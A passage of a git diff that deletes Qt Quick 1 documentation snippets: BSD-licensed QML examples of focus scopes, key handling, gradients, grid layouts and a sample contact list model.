file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//! [clickable window] -Rectangle { - id: window - - color: "white"; width: 240; height: 150 - - Column { - anchors.centerIn: parent; spacing: 15 - - MyClickableWidget { - focus: true //set this MyWidget to receive the focus - color: "lightblue" - } - MyClickableWidget { - color: "palegreen" - } - } - -} -//! [clickable window] diff --git a/doc/src/snippets/qtquick1/focus/myfocusscopewidget.qml b/doc/src/snippets/qtquick1/focus/myfocusscopewidget.qml deleted file mode 100644 index b1d807d4ee..0000000000 --- a/doc/src/snippets/qtquick1/focus/myfocusscopewidget.qml +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -import QtQuick 1.0 - -//! [widget in focusscope] -FocusScope { - - //FocusScope needs to bind to visual properties of the Rectangle - property alias color: rectangle.color - x: rectangle.x; y: rectangle.y - width: rectangle.width; height: rectangle.height - - Rectangle { - id: rectangle - anchors.centerIn: parent - color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true - Text { id: label; anchors.centerIn: parent } - focus: true - Keys.onPressed: { - if (event.key == Qt.Key_A) - label.text = 'Key A was pressed' - else if (event.key == Qt.Key_B) - label.text = 'Key B was pressed' - else if (event.key == Qt.Key_C) - label.text = 'Key C was pressed' - } - } -} -//! [widget in focusscope] -//! [document] diff --git a/doc/src/snippets/qtquick1/focus/rectangle.qml b/doc/src/snippets/qtquick1/focus/rectangle.qml deleted file mode 100644 index 7ca6ee3cc7..0000000000 --- a/doc/src/snippets/qtquick1/focus/rectangle.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the FOO module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//! [simple key event] -Rectangle { - width: 100; height: 100 - focus: true - Keys.onPressed: { - if (event.key == Qt.Key_A) { - console.log('Key A was pressed'); - event.accepted = true; - } - } -//! [simple key event] - -//! [active focus] - Text { - text: activeFocus ? "I have active focus!" : "I do not have active focus" - } -//! [active focus] - -//! [simple key event end] -} -//! [simple key event end] diff --git a/doc/src/snippets/qtquick1/focus/widget.qml b/doc/src/snippets/qtquick1/focus/widget.qml deleted file mode 100644 index 67c92229d8..0000000000 --- a/doc/src/snippets/qtquick1/focus/widget.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//! [window] - -//Window code that imports MyWidget -Rectangle { - id: window - color: "white"; width: 240; height: 150 - - Column { - anchors.centerIn: parent; spacing: 15 - - MyWidget { - focus: true //set this MyWidget to receive the focus - color: "lightblue" - } - MyWidget { - color: "palegreen" - } - } -} -//! [window] diff --git a/doc/src/snippets/qtquick1/folderlistmodel.qml b/doc/src/snippets/qtquick1/folderlistmodel.qml deleted file mode 100644 index 56249722cc..0000000000 --- a/doc/src/snippets/qtquick1/folderlistmodel.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 -import Qt.labs.folderlistmodel 1.0 - -ListView { - width: 200; height: 400 - - FolderListModel { - id: folderModel - nameFilters: ["*.qml"] - } - - Component { - id: fileDelegate - Text { text: fileName } - } - - model: folderModel - delegate: fileDelegate -} -//![0] diff --git a/doc/src/snippets/qtquick1/gradient.qml b/doc/src/snippets/qtquick1/gradient.qml deleted file mode 100644 index 3270873239..0000000000 --- a/doc/src/snippets/qtquick1/gradient.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//![code] -Rectangle { - width: 100; height: 100 - gradient: Gradient { - GradientStop { position: 0.0; color: "red" } - GradientStop { position: 0.33; color: "yellow" } - GradientStop { position: 1.0; color: "green" } - } -} -//![code] diff --git a/doc/src/snippets/qtquick1/grid-spacing.qml b/doc/src/snippets/qtquick1/grid-spacing.qml deleted file mode 100644 index a01a31acc6..0000000000 --- a/doc/src/snippets/qtquick1/grid-spacing.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 112; height: 112 - color: "#303030" - - Grid { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - columns: 2 - spacing: 6 - - Rectangle { color: "#aa6666"; width: 50; height: 50 } - Rectangle { color: "#aaaa66"; width: 50; height: 50 } - Rectangle { color: "#9999aa"; width: 50; height: 50 } - Rectangle { color: "#6666aa"; width: 50; height: 50 } - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/grid/grid-items.qml b/doc/src/snippets/qtquick1/grid/grid-items.qml deleted file mode 100644 index 48dfd085f7..0000000000 --- a/doc/src/snippets/qtquick1/grid/grid-items.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 112; height: 112 - color: "#303030" - - Grid { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - columns: 2 - spacing: 6 - - Rectangle { color: "#aa6666"; width: 50; height: 50 } - Rectangle { color: "#aaaa66"; width: 50; height: 50 } - Rectangle { color: "#9999aa"; width: 50; height: 50 } - Rectangle { color: "#6666aa"; width: 50; height: 50 } - } -} diff --git a/doc/src/snippets/qtquick1/grid/grid-no-spacing.qml b/doc/src/snippets/qtquick1/grid/grid-no-spacing.qml deleted file mode 100644 index 5a6895df9d..0000000000 --- a/doc/src/snippets/qtquick1/grid/grid-no-spacing.qml +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 112; height: 112 - color: "#303030" - - Grid { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - columns: 2 - - Rectangle { color: "#aa6666"; width: 50; height: 50 } - Rectangle { color: "#aaaa66"; width: 50; height: 50 } - Rectangle { color: "#9999aa"; width: 50; height: 50 } - Rectangle { color: "#6666aa"; width: 50; height: 50 } - } -} diff --git a/doc/src/snippets/qtquick1/grid/grid-spacing.qml b/doc/src/snippets/qtquick1/grid/grid-spacing.qml deleted file mode 100644 index a01a31acc6..0000000000 --- a/doc/src/snippets/qtquick1/grid/grid-spacing.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 112; height: 112 - color: "#303030" - - Grid { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - columns: 2 - spacing: 6 - - Rectangle { color: "#aa6666"; width: 50; height: 50 } - Rectangle { color: "#aaaa66"; width: 50; height: 50 } - Rectangle { color: "#9999aa"; width: 50; height: 50 } - Rectangle { color: "#6666aa"; width: 50; height: 50 } - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/grid/grid.qml b/doc/src/snippets/qtquick1/grid/grid.qml deleted file mode 100644 index deb4c88695..0000000000 --- a/doc/src/snippets/qtquick1/grid/grid.qml +++ /dev/null @@ -1,53 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Grid { - columns: 3 - spacing: 2 - Rectangle { color: "red"; width: 50; height: 50 } - Rectangle { color: "green"; width: 20; height: 50 } - Rectangle { color: "blue"; width: 50; height: 20 } - Rectangle { color: "cyan"; width: 50; height: 50 } - Rectangle { color: "magenta"; width: 10; height: 10 } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/gridview/ContactModel.qml b/doc/src/snippets/qtquick1/gridview/ContactModel.qml deleted file mode 100644 index cb61ad9c92..0000000000 --- a/doc/src/snippets/qtquick1/gridview/ContactModel.qml +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -ListModel { - - ListElement { - name: "Jim Williams" - portrait: "pics/portrait.png" - } - ListElement { - name: "John Brown" - portrait: "pics/portrait.png" - } - ListElement { - name: "Bill Smyth" - portrait: "pics/portrait.png" - } - ListElement { - name: "Sam Wise" - portrait: "pics/portrait.png" - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/gridview/gridview.qml b/doc/src/snippets/qtquick1/gridview/gridview.qml deleted file mode 100644 index 0ed4673c23..0000000000 --- a/doc/src/snippets/qtquick1/gridview/gridview.qml +++ /dev/null @@ -1,163 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation 